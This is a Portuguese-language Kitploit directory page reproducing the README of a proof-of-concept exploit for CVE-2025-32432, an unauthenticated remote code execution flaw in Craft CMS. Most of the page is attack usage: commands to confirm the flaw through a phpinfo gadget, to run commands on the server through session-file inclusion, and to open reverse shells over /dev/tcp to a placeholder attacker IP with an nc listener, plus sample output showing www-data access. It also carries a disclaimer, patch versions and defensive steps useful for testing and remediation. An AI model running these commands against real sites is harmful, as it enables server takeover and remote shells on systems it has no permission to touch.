Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-32432-POC — Prova de conceito para um único alvo da CVE-2025-32432, uma execução remota de código sem autenticação no Craft CMS. Realiza confirmação de vulnerabilidade através do gadget phpinfo e execução opcional de comandos por meio de uma cadeia de inclusão de arquivos de sessão. | Kitploit
Ferramentas/GitHubGitHub/theeomega/cve-2025-32432-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

Prova de conceito para um único alvo da CVE-2025-32432, uma execução remota de código sem autenticação no Craft CMS. Realiza confirmação de vulnerabilidade através do gadget phpinfo e execução opcional de comandos por meio de uma cadeia de inclusão de arquivos de sessão.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
1há 1 mêsAinda não revisado
Compartilhar

Craft CMS CVE-2025-32432 PoC de Alvo Único

Apenas testes autorizados. Este repositório destina-se a ambientes de laboratório controlados, plataformas CTF como Hack The Box, validação interna e verificação defensiva. Não execute isto contra sistemas que você não possui ou não tem permissão explícita para testar.

Visão Geral

Este projeto contém uma prova de conceito de alvo único para o CVE-2025-32432, um problema de execução remota de código no Craft CMS sem autenticação.

O PoC realiza duas etapas:

  1. Confirmação de vulnerabilidade usando um gadget phpinfo() através do endpoint de geração de transformação de assets do Craft CMS.
  2. Execução opcional de comandos usando uma cadeia de inclusão de arquivo de sessão em duas etapas.

O script foi projetado para evitar um problema comum de falso-negativo visto em alguns PoCs públicos: uma requisição normal de transformação de imagem pode retornar 404, enquanto o mesmo endpoint e assetId ainda funcionam quando o payload real do gadget é usado.

Versões Afetadas

De acordo com o aviso oficial do Craft CMS e bancos de dados de avisos públicos, as faixas afetadas são:

Branch do Craft CMSVersões afetadasVersão corrigida
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

Atualize para uma versão corrigida imediatamente se você for responsável por uma implantação do Craft CMS.

Resumo Técnico

O PoC segue este fluxo:

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

Detalhes importantes de implementação:

  • A descoberta usa o gadget phpinfo, não uma requisição normal de transformação.
  • Comandos são passados como hex para evitar quebrar a query string com espaços, aspas, pipes ou ampersands.
  • Os diretórios de sessão PHP padrão testados são:
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • Uma opção --timeout está incluída para cenários de reverse shell.

Arquivos

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

Requisitos

  • Python 3.9+
  • requests
  • urllib3

Instale as dependências:

root@kitploit:~
python3 -m pip install requests urllib3

Uso

1. Modo apenas verificação

Isso confirma a vulnerabilidade usando apenas o gadget phpinfo.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

Saída esperada de sucesso:

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

A resposta do phpinfo é salva como:

root@kitploit:~
phpinfo_success.html

2. Executar um comando simples

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

Exemplo de saída bem-sucedida:

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Usar um endpoint e ID de asset conhecidos

Use isto quando você já conhece os valores funcionais.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. Front controller personalizado

Alguns alvos podem usar um front controller personalizado, como x.php.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

Isso testa rotas como:

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. Uso de reverse shell

Inicie um listener primeiro:

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

Depois execute o PoC com um comando de reverse shell:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 desabilita o timeout da requisição. Isso é útil porque reverse shells geralmente mantêm a requisição HTTP aberta.

Variante destacada:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

Opções

OpçãoDescriçãoPadrão
-u, --urlURL base do alvoObrigatório
-c, --cmdComando opcional para executar após confirmação do phpinfoNenhum
--frontNome do arquivo front controllerindex.php
-s, --scan-maxMáximo assetId para testar com gadget phpinfo50
-a, --assetID de asset conhecidoNenhum
--endpointEndpoint generate-transform conhecidoNenhum
--session-dirDiretório de sessão PHP. Pode ser fornecido várias vezesLista interna
--timeoutTimeout da requisição para gatilho de comando. Use 0 para sem timeout20

Solução de Problemas

assetId 0 -> HTTP 404 durante a varredura normal

Não confie em uma requisição normal de transformação para descoberta. Alguns alvos retornam 404 para um corpo de transformação normal mas ainda executam o payload do gadget. Este PoC descobre combinações válidas usando o próprio gadget phpinfo.

phpinfo funciona, mas a execução do comando falha

Tente especificar o diretório de sessão manualmente:

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

Depois tente:

root@kitploit:~
--session-dir /var/lib/php/session

ou:

root@kitploit:~
--session-dir /tmp

Reverse shell conecta, mas morre rapidamente

Use uma das seguintes abordagens:

  1. Desabilite o timeout da requisição:
root@kitploit:~
--timeout 0
  1. Use um payload destacado com setsid ou nohup.

  2. Confirme se seu IP de retorno está correto:

root@kitploit:~
ip -br a | grep tun

Timeout de leitura durante reverse shell

Isso pode ser normal se o reverse shell conectou com sucesso. Verifique seu listener antes de tratar o timeout como uma falha.

Saída do comando está ausente

Tente um comando mais simples primeiro:

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

Se comandos simples funcionarem, mas comandos complexos falharem, cite o comando cuidadosamente ou use um payload de shell destacado.

Exemplo de Saída de Laboratório

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Orientações Defensivas

Se você administra uma instância do Craft CMS:

  1. Atualize para Craft CMS 3.9.15, 4.14.15, 5.6.17 ou superior.
  2. Revise as raízes web em busca de arquivos PHP suspeitos ou web shells.
  3. Revise os diretórios de sessão PHP e logs do servidor web em busca de requisições suspeitas para rotas de transformação de assets.
  4. Rotacione segredos do .env e credenciais do banco de dados se houver suspeita de exploração.
  5. Restrinja o acesso público a rotas administrativas quando possível.
  6. Revise os carimbos de data/hora do sistema de arquivos do servidor em torno de janelas de possível comprometimento.

Referências

  • Aviso oficial do Craft CMS: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • Banco de Dados de Avisos do GitHub: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Análise técnica da SensePost: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Aviso de Isenção

Este projeto é fornecido apenas para fins educacionais, de pesquisa, laboratório e validação defensiva. O autor não é responsável pelo uso indevido. Teste apenas sistemas que você possui ou para os quais possui permissão explícita por escrito para avaliar.

Baixar ferramenta